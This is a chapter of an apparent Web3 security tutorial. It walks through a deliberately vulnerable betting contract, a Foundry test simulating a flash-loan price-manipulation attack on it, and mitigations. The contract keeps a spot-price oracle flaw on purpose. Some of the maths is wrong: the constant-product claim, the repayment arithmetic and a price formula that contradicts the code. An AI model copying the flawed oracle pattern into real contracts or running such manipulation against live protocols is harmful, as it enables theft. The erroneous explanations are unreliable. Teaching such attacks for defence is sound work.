Breaking the Bet: Simulating Flash Loan Attacks in Decentralized Systems

18 min read

December 14, 2024

Web3 Exploitation Fundamentals: Navigating Security in Decentralized Systems
Breaking the Bet: Simulating Flash Loan Attacks in Decentralized Systems

Table of contents

Introduction: Exploring Flash Loan Exploits in DeFi

In this chapter, we dive into the mechanics of flash loan vulnerabilities and how they can be exploited in decentralized systems. Using the DragonBet smart contract as a case study, we’ll explore how price manipulation through an Automated Market Maker (AMM) can lead to significant imbalances and unfair profits.

Prepare yourself, as this chapter leans heavily into the mathematics behind reward calculations and price manipulation. Don’t worry, though—everything will be broken down step by step to ensure clarity. Let’s unravel the exploit and see how it operates in practice!

What is a Flash Loan Vulnerability in Web3?

In the world of Web3 and decentralized finance (DeFi), a flash loan is a type of uncollateralized loan that allows users to borrow assets almost instantly, as long as the loan is repaid within the same transaction. While this concept has enabled innovative financial mechanisms, it has also opened the door to a unique class of vulnerabilities.

Flash loans are powerful because they provide immense liquidity without requiring upfront collateral. However, their very nature—being instantaneous and uncollateralized—can be exploited by malicious actors. When combined with other vulnerabilities, flash loans allow attackers to manipulate smart contract logic, pricing mechanisms, or liquidity pools, resulting in significant losses for protocols and users.

How Does the Flash Loan Vulnerability Work?

At its core, a flash loan vulnerability arises when a smart contract relies on external data or processes that can be manipulated within the same transaction. Here's how an attack might unfold:

  1. Obtain a Flash Loan: The attacker borrows a large sum of tokens without collateral using a flash loan.
  2. Manipulate External Dependencies: Within the same transaction, the attacker manipulates an external data source (like a price oracle or liquidity pool). For example, they might artificially inflate or deflate the price of an asset by altering the reserves in a decentralized exchange.
  3. Exploit the Manipulation: Using the manipulated data, the attacker interacts with the victim smart contract. The contract, trusting the manipulated input, executes unfavorable trades, grants excessive rewards, or behaves incorrectly.
  4. Repay the Flash Loan: After exploiting the vulnerability, the attacker repays the loan and keeps the profit—all in one atomic transaction.
sequenceDiagram participant Attacker participant FlashLoanProvider as Flash Loan Provider participant AMM as AMM/Oracle participant VictimContract as Victim Smart Contract Attacker ->> FlashLoanProvider: Request flash loan FlashLoanProvider -->> Attacker: Provides flash loan Attacker ->> AMM: Manipulate price via reserves AMM -->> VictimContract: Report manipulated price Attacker ->> VictimContract: Exploit vulnerability (e.g., withdraw rewards) VictimContract -->> Attacker: Transfer inflated rewards Attacker ->> FlashLoanProvider: Repay flash loan Attacker -->> Attacker: Keep net profit

To truly grasp how flash loan vulnerabilities work, we’ll delve into a practical example of a vulnerable contract and a test case that illustrates the concept.

Understanding AMMs, Tokens, and Oracles in Web3

Before diving into the details of the vulnerable DragonBet contract, let’s first unpack the three key concepts that form its foundation: tokens, Automated Market Makers (AMMs), and oracles. These elements might sound technical, but with the help of clear and relatable analogies, they become much easier to understand.

Tokens: The Currency of Betting

In the blockchain world, tokens are like digital chips that represent value or ownership. They’re the currency of decentralized systems, much like poker chips in a casino. In the DragonBet contract, two types of tokens are used, each serving a distinct purpose:

  • TokenA: Imagine this as the money you exchange at the casino’s cashier. It’s the system’s primary currency, often used in the background.
  • TokenB: Think of this as the actual poker chips you use at the table. You place bets using these chips in hopes of winning more.

These tokens don’t have fixed values like traditional poker chips. Instead, their exchange rate can change dynamically in response to supply and demand, which is where Automated Market Makers (AMMs) come into play.

Automated Market Makers (AMMs): The Decentralized Marketplace

An Automated Market Maker (AMM), such as Uniswap, is like the casino’s cashier where you exchange money (TokenA) for chips (TokenB), but with a twist: the exchange rate isn’t fixed. Instead, it changes dynamically based on how much money and how many chips the cashier has left.

Imagine you walk up to the booth and find:

  • A stack of 1 dollar bills (representing TokenA).
  • A pile of poker chips (representing TokenB).

If you take chips from the pile or add money to the stack, the exchange rate adjusts automatically to reflect the new balance. The fewer chips left in the pile, the more expensive they become, and vice versa. This behavior is governed by a simple rule:

xy=kx*y = k

Where:

  • xx is the number of 1 dollar bills (TokenA).
  • yy is the number of poker chips (TokenB).
  • kk is a constant that keeps the system balanced.

For example, if you trade in money for chips, the pile of money grows (xx increases) and the pile of chips shrinks (yy decreases). To maintain balance, the cost of each remaining chip rises.

In the DragonBet contract, the AMM acts like this cashier, determining the "price" of chips (TokenB) based on the piles' sizes. But here’s the twist: the AMM also serves as the oracle, which introduces potential risks.

Oracles: The Information Attendant

Oracles act as a bridge between blockchain systems and external information. In this analogy, the oracle is like a casino attendant who tells you how much a prize costs in chips. If the attendant gives you incorrect or manipulated information, you might overpay or underpay for a prize.

In the DragonBet contract, the AMM acts as both the cashier and the oracle. It determines how much TokenB (chips) you need to claim a reward, based on its reserves. This dependency means that if someone manipulates the AMM, they can also manipulate the oracle’s price, creating a potential vulnerability.

By understanding these three concepts—tokens, AMMs, and oracles—you can see how they interact in the DragonBet contract. Tokens facilitate the bets, the AMM sets the prices, and the oracle blindly trusts the AMM’s data.

Vulnerable Smart Contract: DragonBet

To understand how flash loan vulnerabilities intersect with concepts like AMMs, tokens, and oracles, we will analyze the DragonBet smart contract. This contract enables users to place bets on dragons, determining rewards based on the total bets and the exchange rates fetched from an external oracle. By relying on price data sourced from an AMM (explained in the previous section), the contract illustrates how manipulation of these inputs can expose critical vulnerabilities, making it an ideal case study.

Vulnerable Smart Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IUniswapV2Pair {
    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

contract DragonBet {
    IERC20 public tokenA; // Token para realizar apuestas
    IERC20 public tokenB; // Token usado como referencia para precios
    IUniswapV2Pair public priceOracle; // AMM usado como oráculo de precios

    struct Bet {
        address user;
        uint256 amount;
        uint256 dragonId; // ID del dragón al que apuesta
    }

    mapping(uint256 => Bet[]) public bets; // Apuestas por cada dragón
    uint256 public totalBets; // Total de tokens apostados en todas las apuestas

    constructor(address _tokenA, address _tokenB, address _priceOracle) {
        tokenA = IERC20(_tokenA);
        tokenB = IERC20(_tokenB);
        priceOracle = IUniswapV2Pair(_priceOracle);
    }

    /// Permitir a los usuarios realizar apuestas por un dragón
    function placeBet(uint256 dragonId, uint256 amount) external {
        require(amount > 0, "La apuesta debe ser mayor a cero");
        require(
            tokenB.transferFrom(msg.sender, address(this), amount),
            "Transferencia fallida"
        );

        bets[dragonId].push(
            Bet({user: msg.sender, amount: amount, dragonId: dragonId})
        );

        totalBets += amount;
    }

    function resolveBet(uint256 winningDragonId) external {
        uint256 winningPrice = getPrice(); // Fetch the manipulated price
        Bet[] memory winningBets = bets[winningDragonId];
        uint256 totalWinningBets = 0;

        // Calculate the total bets for the winning dragon
        for (uint256 i = 0; i < winningBets.length; i++) {
            totalWinningBets += winningBets[i].amount;
        }

        require(totalWinningBets > 0, "No bets placed on the winning dragon");

        // Calculate and distribute rewards
        for (uint256 i = 0; i < winningBets.length; i++) {
            uint256 reward = (winningBets[i].amount *
                totalBets *
                winningPrice) /
                totalWinningBets /
                1e18;

            // Limit rewards to the contract balance
            uint256 contractBalance = tokenB.balanceOf(address(this));
            if (reward > contractBalance) {
                reward = contractBalance; // Cap the reward at the available balance
            }

            // Perform the token transfer
            require(
                tokenB.transfer(winningBets[i].user, reward),
                "Transfer failed"
            );
        }

        // Reset the total bets and clean up
        totalBets = 0;
        delete bets[winningDragonId];
    }

    function getPrice() public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = priceOracle.getReserves();
        return (uint256(reserve1) * 1e18) / uint256(reserve0);
    }
}


Data Structures and State Variables

The DragonBet contract defines its foundational components at the start, which include the tokens for the betting process, a price oracle, and the data structures that manage user bets.

IERC20 public tokenA; // Token used in the AMM price calculation
IERC20 public tokenB; // Token used for placing bets
IUniswapV2Pair public priceOracle; // AMM used as a price oracle

struct Bet {
    address user; // Address of the user placing the bet
    uint256 amount; // Amount of TokenB bet
    uint256 dragonId; // ID of the dragon being bet on
}

mapping(uint256 => Bet[]) public bets; // A list of bets for each dragon
uint256 public totalBets; // Total TokenB bet across all dragons

The contract uses two tokens, tokenA and tokenB, to operate. TokenA is a reference token whose price is fetched from an external AMM via the priceOracle. This exchange rate is used later in calculations. TokenB, on the other hand, is the token that bettors use to place their bets.

The Bet struct organizes information about each user's wager, including the bettor’s address, the amount bet, and the ID of the dragon they are betting on. These bets are stored in a mapping called bets, categorized by dragon ID. Additionally, the variable totalBets tracks the total amount of TokenB wagered across all dragons.

Placing Bets

The placeBet function allows users to participate in betting by selecting a dragon and specifying the amount they wish to wager.

function placeBet(uint256 dragonId, uint256 amount) external {
    require(amount > 0, "La apuesta debe ser mayor a cero");
    require(
        tokenB.transferFrom(msg.sender, address(this), amount),
        "Transferencia fallida"
    );

    bets[dragonId].push(
        Bet({user: msg.sender, amount: amount, dragonId: dragonId})
    );

    totalBets += amount;
}

A user calls this function to place a bet on a specific dragon. First, it checks that the bet amount is greater than zero. Then, it transfers the specified amount of tokenB from the user’s wallet to the contract using transferFrom. If successful, the function creates a new Bet struct with the user's address, bet amount, and dragon ID. This bet is stored in the appropriate array within the bets mapping. Finally, the total amount of bets is updated.

Resolving Bets and Distributing Rewards

The resolveBet function is the heart of the contract’s payout system. Its job is to calculate and distribute rewards to players who bet on the winning dragon, relying on the current price of TokenA in terms of TokenB as provided by the priceOracle. This dependency becomes key to how the attacker exploits the system.

function resolveBet(uint256 winningDragonId) external {
    uint256 winningPrice = getPrice(); // Fetch the manipulated price
    Bet[] memory winningBets = bets[winningDragonId];
    uint256 totalWinningBets = 0;

    for (uint256 i = 0; i < winningBets.length; i++) {
        totalWinningBets += winningBets[i].amount;
    }

    require(totalWinningBets > 0, "No bets placed on the winning dragon");

    for (uint256 i = 0; i < winningBets.length; i++) {
        uint256 reward = (winningBets[i].amount *
            totalBets *
            winningPrice) /
            totalWinningBets /
            1e18;

        uint256 contractBalance = tokenB.balanceOf(address(this));
        if (reward > contractBalance) {
            reward = contractBalance;
        }

        require(
            tokenB.transfer(winningBets[i].user, reward),
            "Transfer failed"
        );
    }

    totalBets = 0;
    delete bets[winningDragonId];
}

First, the function retrieves the current price of TokenA, calculated dynamically based on the AMM reserves. The formula for the price is simple:

Price of TokenA (winningPrice)=reserveAreserveB\text{Price of TokenA (winningPrice)} = \frac{\text{reserveA}}{\text{reserveB}}

With the price in hand, the function gathers all the bets placed on the winning dragon and sums them up. This total amount, called totalWinningBets, reflects how much was wagered on the dragon. If no bets were placed, the function stops execution with an error. However, when valid bets exist, the function proceeds to calculate each bettor’s reward.

Rewards are distributed proportionally based on how much each player bet relative to others. The formula for calculating a reward is:

Reward=attackerBettotalBetswinningPricetotalWinningBets\text{Reward} = \frac{\text{attackerBet} \cdot \text{totalBets} \cdot \text{winningPrice}}{\text{totalWinningBets}}

This ensures that bigger bets receive larger rewards.

Before distributing the rewards, the function includes a safeguard: rewards are capped at the contract’s current balance of TokenB. This prevents the contract from overpaying and ensures it remains solvent. After calculating the reward, the contract transfers the corresponding amount of TokenB to the bettor. If the transfer fails, the function reverts to maintain system integrity.

Finally, after distributing rewards, the contract resets its state for the next betting round. It clears all bets for the winning dragon and sets the total bets pool (totalBets) back to zero. This ensures the contract is ready for new wagers without leftover data from previous rounds.

Fetching the Price from the Oracle

The getPrice function retrieves the current price of tokenA in terms of tokenB from the AMM.

function getPrice() public view returns (uint256) {
    (uint112 reserve0, uint112 reserve1, ) = priceOracle.getReserves();
    return (uint256(reserve1) * 1e18) / uint256(reserve0);
}

This function calculates the price using the formula:

Price=Reserve of TokenB×1018Reserve of TokenA\text{Price} = \frac{\text{Reserve of TokenB} \times 10^{18}}{\text{Reserve of TokenA}}

Simulating the Attack: Exploiting the Flash Loan Vulnerability

Now that we’ve explored the vulnerable DragonBet contract, let’s dive into how this vulnerability can be exploited through a step-by-step test case. Using Foundry, as we’ve done in previous chapters, we’ll simulate a flash loan attack to demonstrate how the contract’s dependency on the AMM can be manipulated to an attacker’s advantage.

Code of the attack
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/DragonBet.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

/// @notice Mock token to simulate tokenA and tokenB
contract MockToken is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        _mint(msg.sender, 1_000_000 ether); // Mint a large initial supply to the deployer
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount); // Allow minting tokens to any address
    }
}

/// @notice Mock AMM to simulate the price oracle
contract MockAMM {
    uint256 public reserveA;
    uint256 public reserveB;

    function setReserves(uint256 _reserveA, uint256 _reserveB) external {
        reserveA = _reserveA; // Set TokenA reserves
        reserveB = _reserveB; // Set TokenB reserves
    }

    function getReserves() external view returns (uint112, uint112, uint32) {
        // Return the reserves and a mock timestamp
        return (uint112(reserveA), uint112(reserveB), uint32(block.timestamp));
    }
}

contract DragonBetTest is Test {
    DragonBet public dragonBet;
    MockToken public tokenA;
    MockToken public tokenB;
    MockAMM public amm;

    address attacker = address(0x123);
    address bettor1 = address(0x456);
    address bettor2 = address(0x789);

    function setUp() public {
        // Deploy tokens
        tokenA = new MockToken("TokenA", "TKA"); // Token used in the AMM
        tokenB = new MockToken("TokenB", "TKB"); // Token used for betting

        // Deploy mock AMM
        amm = new MockAMM();

        // Deploy DragonBet contract
        dragonBet = new DragonBet(
            address(tokenA),
            address(tokenB),
            address(amm)
        );

        // Mint and distribute tokens for participants
        tokenB.mint(attacker, 100 ether); // Attacker starts with 100 TokenB
        tokenB.mint(bettor1, 100 ether); // Bettor 1 starts with 100 TokenB
        tokenB.mint(bettor2, 100 ether); // Bettor 2 starts with 100 TokenB

        // Pre-fund the contract with enough TokenB for rewards
        tokenB.mint(address(dragonBet), 10_000 ether); // Contract holds sufficient TokenB

        // Mint TokenA to the AMM for initial reserves
        tokenA.mint(address(amm), 3_000 ether); // Initial TokenA reserves in AMM
        tokenB.mint(address(amm), 3_000 ether); // Initial TokenB reserves in AMM

        // Approve DragonBet contract to spend TokenB for bets
        vm.startPrank(attacker);
        tokenB.approve(address(dragonBet), type(uint256).max); // Attacker approves the contract
        vm.stopPrank();

        vm.startPrank(bettor1);
        tokenB.approve(address(dragonBet), type(uint256).max); // Bettor 1 approves the contract
        vm.stopPrank();

        vm.startPrank(bettor2);
        tokenB.approve(address(dragonBet), type(uint256).max); // Bettor 2 approves the contract
        vm.stopPrank();

        // Set initial AMM reserves for the price oracle
        amm.setReserves(3_000 ether, 3_000 ether); // Initial price: 1 TokenB = 1 TokenA
    }

    function toEth(uint256 value) internal pure returns (string memory) {
        uint256 ethValue = value / 1e18; // Get the integer part of the value
        uint256 fractional = (value % 1e18) / 1e15; // Get the first three decimal places
        return
            string(
                abi.encodePacked(
                    uint2str(ethValue),
                    ".",
                    uint2str(fractional),
                    " ETH"
                )
            );
    }

    function uint2str(uint256 _i) internal pure returns (string memory) {
        if (_i == 0) {
            return "0";
        }
        uint256 j = _i;
        uint256 len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint256 k = len;
        while (_i != 0) {
            k = k - 1;
            uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
            bytes1 b1 = bytes1(temp);
            bstr[k] = b1;
            _i /= 10;
        }
        return string(bstr);
    }

    function testFlashLoanAttack() public {
        // Step 1: Legitimate initial bets
        vm.startPrank(bettor1);
        dragonBet.placeBet(1, 5 ether); // Bettor 1 bets on dragon 1
        vm.stopPrank();

        vm.startPrank(bettor2);
        dragonBet.placeBet(1, 1 ether); // Bettor 2 bets on dragon 1
        vm.stopPrank();

        // Step 2: Simulate a flash loan
        vm.startPrank(attacker);

        console.log("=== Before Flash Loan ===");
        console.log("Attacker balance: ", toEth(tokenB.balanceOf(attacker)));

        // Simulate a flash loan by minting TokenB to the attacker
        uint256 flashLoanAmount = 1_000 ether; 
        tokenB.mint(attacker, flashLoanAmount);

        console.log(
            "Attacker balance after flash loan: ",
            toEth(tokenB.balanceOf(attacker))
        );

        // Price manipulation: increase TokenB reserves and decrease TokenA reserves
        uint256 addedTokenB = 1_000 ether;
        uint256 removedTokenA = (amm.reserveA() * addedTokenB) / amm.reserveB();

        amm.setReserves(
            amm.reserveA() - removedTokenA,
            amm.reserveB() + addedTokenB
        );

        uint256 manipulatedPrice = dragonBet.getPrice();
        console.log(
            "Manipulated price (winningPrice):",
            toEth(manipulatedPrice)
        );

        // Step 3: Attacker places a bet using the manipulated price
        dragonBet.placeBet(2, 1 ether);

        console.log("=== After price manipulation and bet ===");
        uint256 totalBetsGlobal = dragonBet.totalBets();
        console.log("Total bets globally (totalBets):", toEth(totalBetsGlobal));

        // Step 4: Resolve the bets
        dragonBet.resolveBet(2);

        // Step 5: Repay the flash loan
        tokenB.transfer(address(this), flashLoanAmount);
        console.log(
            "Attacker balance after loan repayment: ",
            toEth(tokenB.balanceOf(attacker))
        );

        vm.stopPrank();

        // Step 6: Final balance checks
        uint256 attackerBalanceAfter = tokenB.balanceOf(attacker);
        uint256 bettor1BalanceAfter = tokenB.balanceOf(bettor1);
        uint256 bettor2BalanceAfter = tokenB.balanceOf(bettor2);

        console.log("=== Final Balances ===");
        console.log("Attacker balance after: ", toEth(attackerBalanceAfter));
        console.log("Bettor 1 balance after: ", toEth(bettor1BalanceAfter));
        console.log("Bettor 2 balance after: ", toEth(bettor2BalanceAfter));

        // Validate that the attacker profited
        assert(attackerBalanceAfter > 100 ether); // Attacker made a profit
        assert(bettor1BalanceAfter < 100 ether); // Bettor 1 lost
        assert(bettor2BalanceAfter < 100 ether); // Bettor 2 lost
    }
}

The Exploitation Strategy

Let’s break down the strategy we’ll implement in our test case.

  1. Set the Stage with Normal Bets: First, other players place their bets, creating a pool of funds in the contract. This makes everything seem normal and gives the attacker a baseline to work with.
  2. Mess with the AMM: The attacker temporarily alters the token reserves in the AMM, which acts as the contract’s price oracle. This shifts the price in their favor, making it look like their bet is worth much more than it actually is.
  3. Place a Well-Timed Bet: Once the price is manipulated, the attacker places a small bet on the dragon they know will win. With the price skewed, even a tiny bet can lead to a massive payout.
  4. Cash Out Big: Finally, the attacker resolves the bets, triggering the contract’s reward system. Thanks to the manipulated price, they claim a disproportionately large reward, repay any borrowed tokens (if using a flash loan), and walk away with a hefty profit.
sequenceDiagram participant Attacker as Attacker participant FlashLoan as Flash Loan Provider participant AMM as AMM/Oracle participant DragonBet as DragonBet Contract %% Step 1: Flash Loan Acquisition Attacker ->> FlashLoan: Requests flash loan of 1000 TokenB FlashLoan -->> Attacker: Provides 1000 TokenB %% Step 2: Price Manipulation in AMM Attacker ->> AMM: Increase reserve1 (TokenB) by 1000 TokenB Attacker ->> AMM: Decrease reserve0 (TokenA) to manipulate price Note over Attacker, AMM: AMM price becomes skewed (TokenB expensive) %% Step 3: Manipulated Price Used in DragonBet AMM -->> DragonBet: Reports manipulated price (winningPrice high) Attacker ->> DragonBet: Place minimum bet on winning dragon Note over Attacker, DragonBet: Bet placed with skewed price advantage %% Step 4: Reward Calculation & Payout DragonBet ->> DragonBet: Calculate rewards using inflated winningPrice DragonBet -->> Attacker: Transfer inflated reward %% Step 5: Repay Flash Loan Attacker ->> FlashLoan: Repays 1000 TokenB loan %% Step 6: Profit Retention Attacker -->> Attacker: Keeps net profit Note over DragonBet: Unfair rewards due to manipulated price

Setup: Initializing the Test Environment

Before running the test, the script sets up the environment with tokens, a mock AMM, and the DragonBet contract. Tokens are minted and distributed to participants, and the AMM is initialized with equal reserves of TokenA and TokenB to create a balanced price.

function setUp() public {
    tokenA = new MockToken("TokenA", "TKA");
    tokenB = new MockToken("TokenB", "TKB");
    amm = new MockAMM();

    dragonBet = new DragonBet(
        address(tokenA),
        address(tokenB),
        address(amm)
    );

    tokenB.mint(attacker, 100 ether);
    tokenB.mint(bettor1, 100 ether);
    tokenB.mint(bettor2, 100 ether);

    tokenB.mint(address(dragonBet), 10_000 ether);

    tokenA.mint(address(amm), 3_000 ether);
    tokenB.mint(address(amm), 3_000 ether);

    vm.startPrank(attacker);
    tokenB.approve(address(dragonBet), type(uint256).max);
    vm.stopPrank();

    vm.startPrank(bettor1);
    tokenB.approve(address(dragonBet), type(uint256).max);
    vm.stopPrank();

    vm.startPrank(bettor2);
    tokenB.approve(address(dragonBet), type(uint256).max);
    vm.stopPrank();

    amm.setReserves(3_000 ether, 3_000 ether); // Initial price: 1 TokenB = 1 TokenA
}

This setup ensures that:

  1. The AMM has an initial 1:1 price ratio between TokenA and TokenB, based on reserves of 3,000 each.
  2. The DragonBet contract is pre-funded with enough TokenB to pay out rewards.
  3. All participants approve the contract to handle their tokens for betting.

Legitimate Bets

Two bettors place legitimate bets on dragon 1 to create a baseline for the betting pool. Bettor 1 wagers 5 TokenB, and Bettor 2 wagers 1 TokenB.

vm.startPrank(bettor1);
dragonBet.placeBet(1, 5 ether);
vm.stopPrank();

vm.startPrank(bettor2);
dragonBet.placeBet(1, 1 ether);
vm.stopPrank();

The placeBet function verifies the amount is greater than zero and transfers the specified TokenB from the bettor to the contract. After these operations, the total bets in the contract amount to 6 TokenB, entirely placed on dragon 1.

The internal state after this step:

  • Total bets: 6 TokenB.
  • Bet distribution: 6 TokenB on dragon 1, 0 TokenB on dragon 2.

Flash Loan

The attacker uses a flash loan to temporarily borrow 1,000 TokenB. This loan will be repaid later, but in the meantime, it provides liquidity for manipulating the AMM reserves.

uint256 flashLoanAmount = 1_000 ether;
tokenB.mint(attacker, flashLoanAmount);

Here, the mint function of MockToken simulates a flash loan by directly increasing the attacker's balance. Flash loans in real systems are typically provided by DeFi protocols like Aave or dYdX, allowing large sums to be borrowed without collateral if repaid in the same transaction.

Attacker's balance after flash loan: 1,100 TokenB.

Price Manipulation

The attacker alters the AMM reserves, increasing TokenB and decreasing TokenA. This skews the price of TokenA upward.

uint256 addedTokenB = 1_000 ether;
uint256 removedTokenA = (amm.reserveA() * addedTokenB) / amm.reserveB();

amm.setReserves(
    amm.reserveA() - removedTokenA,
    amm.reserveB() + addedTokenB
);

The attacker deposits 1,000 TokenB into the AMM and removes an equivalent amount of TokenA to maintain the constant product formula ($ x*y = k $). This causes the price of TokenA to double, as its relative scarcity increases.

Updated AMM reserves:

  • reserveA (TokenA): 2,000.
  • reserveB (TokenB): 4,000.

New Price=reserveBreserveA=4,0002,000=2,TokenB per TokenA\text{New Price} = \frac{\text{reserveB}}{\text{reserveA}} = \frac{4,000}{2,000} = 2 , \text{TokenB per TokenA}

Placing the Manipulated Bet

The attacker places a 1 TokenB bet on dragon 2, strategically positioning themselves to exploit the manipulated price during reward calculation.

dragonBet.placeBet(2, 1 ether);

This bet adds 1 TokenB to dragon 2, increasing the total bets in the contract to 7 TokenB. The attacker is now the sole bettor on dragon 2, ensuring they will receive all rewards if dragon 2 wins.

Internal state after this step:

  • Total bets: 7 TokenB.
  • Bet distribution: 6 TokenB on dragon 1, 1 TokenB on dragon 2.

Resolving the Bets

The bets are resolved, and dragon 2 is declared the winner. The attacker’s reward is calculated using the manipulated price.

dragonBet.resolveBet(2);

The reward for the attacker is calculated using the formula in the contract:

Reward=attackerBettotalBetswinningPricetotalWinningBets\text{Reward} = \frac{\text{attackerBet} \cdot \text{totalBets} \cdot \text{winningPrice}}{\text{totalWinningBets}}

Where:

attackerBet=1,TokenBtotalBets=7,TokenB,(sum of all bets).winningPrice=2,TokenB per TokenA.totalWinningBets=1,TokenB,(only the attacker bet on dragon 2).\text{attackerBet} = 1 , \text{TokenB} \\ \text{totalBets} = 7 , \text{TokenB} , \text{(sum of all bets)}. \\ \text{winningPrice} = 2 , \text{TokenB per TokenA}. \\ \text{totalWinningBets} = 1 , \text{TokenB} , \text{(only the attacker bet on dragon 2)}.

Substituting:

Reward=1721=14,TokenB.\text{Reward} = \frac{1 \cdot 7 \cdot 2}{1} = 14 , \text{TokenB}.

The attacker receives 14 TokenB as their reward, draining this amount from the contract's balance. Had the price not been manipulated, the attacker would have only received 7 TokenB as their reward, proportional to their bet size relative to the total pool and based on the unaltered price of 1 TokenB per TokenA.

Repaying the Flash Loan

After receiving the reward, the attacker repays the flash loan, ensuring no collateral was required for the attack.

tokenB.transfer(address(this), flashLoanAmount);

The loan of 1,000 TokenB is repaid, leaving the attacker with the remaining tokens as pure profit.

Attacker’s balance after repayment: 113 TokenB (initial 100 + reward 14 - loan repayment 1,000).

Final Balances

The script checks the final balances to confirm the attacker’s profit and validate the attack's success.

uint256 attackerBalanceAfter = tokenB.balanceOf(attacker);
uint256 bettor1BalanceAfter = tokenB.balanceOf(bettor1);
uint256 bettor2BalanceAfter = tokenB.balanceOf(bettor2);

console.log("Attacker balance after: ", toEth(attackerBalanceAfter));
console.log("Bettor 1 balance after: ", toEth(bettor1BalanceAfter));
console.log("Bettor 2 balance after: ", toEth(bettor2BalanceAfter));
Final Results

Top 3 Strategies to Mitigate Flash Loan Vulnerabilities

Among the various solutions to prevent flash loan exploits, the following three strategies stand out as the most critical for ensuring robust smart contract security:

Time-Weighted Average Price (TWAP)

Instead of relying on a spot price fetched directly from an AMM, use a Time-Weighted Average Price (TWAP). This approach calculates an average price over a specified time window, significantly reducing the impact of short-term price manipulation.

function getPrice() public view returns (uint256) {
    // Use TWAP from the price oracle
    return priceOracle.consult(address(tokenA), 1e18);
}

Cap Rewards Based on Logical Limits

Set a maximum reward cap based on logical limits, such as a multiplier of the total bets or a hard-coded maximum payout value. This ensures that even if the price is manipulated, the attacker cannot drain the entire contract balance.

function resolveBet(uint256 winningDragonId) external {
    uint256 winningPrice = getPrice();
    Bet[] memory winningBets = bets[winningDragonId];
    uint256 totalWinningBets = 0;

    for (uint256 i = 0; i < winningBets.length; i++) {
        totalWinningBets += winningBets[i].amount;
    }

    require(totalWinningBets > 0, "No bets placed on the winning dragon");

    uint256 rewardCap = totalBets * 2; // Limit rewards to 2x the total pool

    for (uint256 i = 0; i < winningBets.length; i++) {
        uint256 reward = (winningBets[i].amount * totalBets * winningPrice) / totalWinningBets / 1e18;

        // Apply the cap
        if (reward > rewardCap) {
            reward = rewardCap;
        }

        uint256 contractBalance = tokenB.balanceOf(address(this));
        if (reward > contractBalance) {
            reward = contractBalance;
        }

        require(tokenB.transfer(winningBets[i].user, reward), "Transfer failed");
    }

    totalBets = 0;
    delete bets[winningDragonId];
}

Commit-Reveal Mechanism

A commit-reveal mechanism for placing bets can prevent attackers from reacting to price manipulations during the same transaction. Bettors first submit a hashed commitment of their bet, which is revealed in a later phase. This adds a layer of unpredictability to the system, reducing the attacker’s ability to time their exploits effectively.

mapping(address => bytes32) public committedBets;

function commitBet(bytes32 hashedBet) external {
    committedBets[msg.sender] = hashedBet;
}

function revealBet(uint256 amount, uint256 dragonId, bytes32 salt) external {
    require(
        keccak256(abi.encodePacked(amount, dragonId, salt)) == committedBets[msg.sender],
        "Invalid reveal"
    );
    delete committedBets[msg.sender]; // Clear the commitment
    placeBet(dragonId, amount); // Proceed with the revealed bet
}

Conclusions: Key Takeaways

Flash loan vulnerabilities demonstrate the inherent challenges of balancing transparency and security in decentralized systems. Through the DragonBet case study, we’ve seen how external price manipulation can disrupt the fairness of a protocol. Here are the key takeaways:

  1. External Dependencies Are Risky: Relying on external data sources, such as AMMs, without validation makes protocols susceptible to manipulation. Strengthening oracles and adding safeguards is crucial.
  2. Testing Is Essential: Comprehensive testing, including simulating attacks, can reveal weaknesses that might otherwise go unnoticed in production environments.
  3. Mitigation Strategies Exist: Techniques like time-weighted average prices, commit-reveal schemes, or restricting reward distributions based on timeframes can significantly reduce the impact of exploits.

By understanding these vulnerabilities and implementing robust mitigation strategies, developers can create DeFi systems that are not only innovative but also secure and resilient.

References

  1. Foundry - A Blazing Fast, Modular, and Portable Ethereum Development Framework. "Foundry Documentation." Available at: https://book.getfoundry.sh/
  2. Solidity - Language for Smart Contract Development. "Solidity Documentation." Available at: https://docs.soliditylang.org/
  3. OpenZeppelin - Secure Smart Contract Libraries. "OpenZeppelin Contracts Documentation." Available at: https://docs.openzeppelin.com/contracts
  4. Ethereum - Open-Source Blockchain Platform for Smart Contracts. "Ethereum Whitepaper." Available at: https://ethereum.org/en/whitepaper/
  5. Testing Ethereum Smart Contracts - Best Practices with Foundry. "Foundry Documentation." Available at: https://book.getfoundry.sh/tutorials/testing
  6. Decentralized Exchanges and AMMs - Key Mechanics and Risks. "Uniswap Documentation." Available at: https://docs.uniswap.org/
  7. Gas Price Mechanics - Understanding Gas and Transaction Fees in Ethereum. "Ethereum Documentation." Available at: https://ethereum.org/en/developers/docs/gas/
  8. Price Oracles and Their Role in DeFi. "Chainlink Documentation." Available at: https://docs.chain.link/
  9. Flash Loan Attacks in DeFi - Case Studies and Mitigations. "CertiK Blog." Available at: https://www.certik.com/

Chapters

Botón Anterior
Simulating Front-Running Attacks in Ethereum: A Deep Dive with Foundry and Anvil

Previous chapter

From Front-Running to Sandwich Attacks: An Advanced Look at MEV Exploits

Next chapter